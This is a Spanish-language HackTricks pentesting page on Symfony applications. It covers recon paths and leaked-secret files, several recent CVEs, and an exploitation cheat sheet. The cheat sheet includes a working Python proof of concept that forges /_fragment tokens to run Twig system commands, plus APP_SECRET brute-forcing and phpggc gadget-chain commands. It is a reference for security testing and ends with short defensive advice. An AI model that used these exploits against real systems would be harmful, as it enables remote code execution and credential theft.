Symfony

Reading time: 6 minutes

tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks

Symfony es uno de los frameworks PHP más utilizados y aparece regularmente en evaluaciones de objetivos empresariales, de comercio electrónico y CMS (Drupal, Shopware, Ibexa, OroCRM … todos integran componentes de Symfony). Esta página recopila consejos ofensivos, configuraciones incorrectas comunes y vulnerabilidades recientes que deberías tener en tu lista de verificación cuando descubras una aplicación Symfony.

Nota histórica: Una gran parte del ecosistema aún utiliza la rama 5.4 LTS (EOL Noviembre 2025). Siempre verifica la versión menor exacta porque muchos avisos de seguridad de 2023-2025 solo se solucionaron en lanzamientos de parches (por ejemplo, 5.4.46 → 5.4.50).


Recon & Enumeration

Finger-printing

  • Encabezados de respuesta HTTP: X-Powered-By: Symfony, X-Debug-Token, X-Debug-Token-Link o cookies que comienzan con sf_redirect, sf_session, MOCKSESSID.
  • Fugas de código fuente (composer.json, composer.lock, /vendor/…) a menudo revelan la versión exacta:
bash
curl -s https://target/vendor/composer/installed.json | jq '.[] | select(.name|test("symfony/")) | .name,.version'
  • Rutas públicas que solo existen en Symfony:
  • /_profiler (Symfony Profiler & barra de herramientas de depuración)
  • /_wdt/<token> (“Web Debug Toolbar”)
  • /_error/{code}.{_format} (páginas de error bonitas)
  • /app_dev.php, /config.php, /config_dev.php (controladores frontales de desarrollo anteriores a 4.0)
  • Wappalyzer, BuiltWith o listas de palabras de ffuf/feroxbuster: symfony.txt → busca /_fragment, /_profiler, .env, .htaccess.

Archivos y puntos finales interesantes

RutaPor qué es importante
/.env, /.env.local, /.env.prodFrecuentemente mal desplegados → filtran APP_SECRET, credenciales de DB, SMTP, claves de AWS
/.git, .svn, .hgDivulgación de código fuente → credenciales + lógica de negocio
/var/log/*.log, /log/dev.logLa mala configuración del web-root expone trazas de pila
/_profilerHistorial completo de solicitudes, configuración, contenedor de servicios, APP_SECRET (≤ 3.4)
/_fragmentPunto de entrada utilizado por ESI/HInclude. Abuso posible una vez que conoces APP_SECRET
/vendor/phpunit/phpunit/phpunitRCE de PHPUnit si es accesible (CVE-2017-9841)
/index.php/_error/{code}Finger-print & a veces filtra trazas de excepciones

Vulnerabilidades de alto impacto (2023-2025)

1. Divulgación de APP_SECRET ➜ RCE a través de /_fragment (también conocido como “secret-fragment”)

  • CVE-2019-18889 originalmente, pero todavía aparece en objetivos modernos cuando se deja habilitada la depuración o se expone .env.
  • Una vez que conoces el APP_SECRET de 32 caracteres, crea un token HMAC y abusa del controlador interno render() para ejecutar Twig arbitrario:
python
# PoC – requiere el secreto
import hmac, hashlib, requests, urllib.parse as u
secret = bytes.fromhex('deadbeef…')
payload = "{{['id']|filter('system')}}"   # RCE en Twig
query = {
'template': '@app/404.html.twig',
'filter': 'raw',
'_format': 'html',
'_locale': 'en',
'globals[cmd]': 'id'
}
qs = u.urlencode(query, doseq=True)
token = hmac.new(secret, qs.encode(), hashlib.sha256).hexdigest()
r = requests.get(f"https://target/_fragment?{qs}&_token={token}")
print(r.text)
  • Excelente artículo y script de explotación: blog de Ambionics (enlazado en Referencias).

2. Secuestro de Proceso en Windows – CVE-2024-51736

  • El componente Process buscó en el directorio de trabajo actual antes de PATH en Windows. Un atacante que pueda subir tar.exe, cmd.exe, etc. en un web-root escribible y activar Process (por ejemplo, extracción de archivos, generación de PDF) obtiene ejecución de comandos.
  • Corregido en 5.4.50, 6.4.14, 7.1.7.

3. Fijación de Sesión – CVE-2023-46733

  • El guardia de autenticación reutilizó un ID de sesión existente después del inicio de sesión. Si un atacante establece la cookie antes de que la víctima se autentique, secuestra la cuenta después del inicio de sesión.

4. XSS en sandbox de Twig – CVE-2023-46734

  • En aplicaciones que exponen plantillas controladas por el usuario (CMS de administración, generador de correos electrónicos) el filtro nl2br podría ser abusado para eludir la sandbox e inyectar JS.

5. Cadenas de gadgets de Symfony 1 (aún encontradas en aplicaciones heredadas)

  • phpggc symfony/1 system id produce una carga útil Phar que desencadena RCE cuando ocurre un unserialize() en clases como sfNamespacedParameterHolder. Verifica los puntos finales de carga de archivos y los envoltorios phar://.

PHP - Deserialization + Autoload Classes


Hoja de trucos de explotación

Calcular el token HMAC para /_fragment

bash
python - <<'PY'
import sys, hmac, hashlib, urllib.parse as u
secret = bytes.fromhex(sys.argv[1])
qs     = u.quote_plus(sys.argv[2], safe='=&')
print(hmac.new(secret, qs.encode(), hashlib.sha256).hexdigest())
PY deadbeef… "template=@App/evil&filter=raw&_format=html"

Fuerza bruta de APP_SECRET débil

bash
cewl -d3 https://target -w words.txt
symfony-secret-bruteforce.py -w words.txt -c abcdef1234567890 https://target

RCE a través de Symfony Console expuesta

Si bin/console es accesible a través de php-fpm o carga directa de CLI:

bash
php bin/console about        # confirm it works
php bin/console cache:clear --no-warmup

Utilice gadgets de deserialización dentro del directorio de caché o escriba una plantilla Twig maliciosa que se ejecutará en la próxima solicitud.


Notas defensivas

  1. Nunca despliegue debug (APP_ENV=dev, APP_DEBUG=1) en producción; bloquee /app_dev.php, /_profiler, /_wdt en la configuración del servidor web.
  2. Almacene secretos en variables de entorno o vault/secrets.local.php, nunca en archivos accesibles a través del document-root.
  3. Haga cumplir la gestión de parches: suscríbase a los avisos de seguridad de Symfony y mantenga al menos el nivel de parches LTS.
  4. Si está ejecutando en Windows, actualice inmediatamente para mitigar CVE-2024-51736 o agregue una defensa en profundidad open_basedir/disable_functions.

Herramientas ofensivas útiles

  • ambionics/symfony-exploits – RCE de fragmento secreto, descubrimiento de rutas de depurador.
  • phpggc – Cadenas de gadgets listas para Symfony 1 y 2.
  • sf-encoder – pequeño ayudante para calcular el HMAC de _fragment (implementación en Go).

Referencias

tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks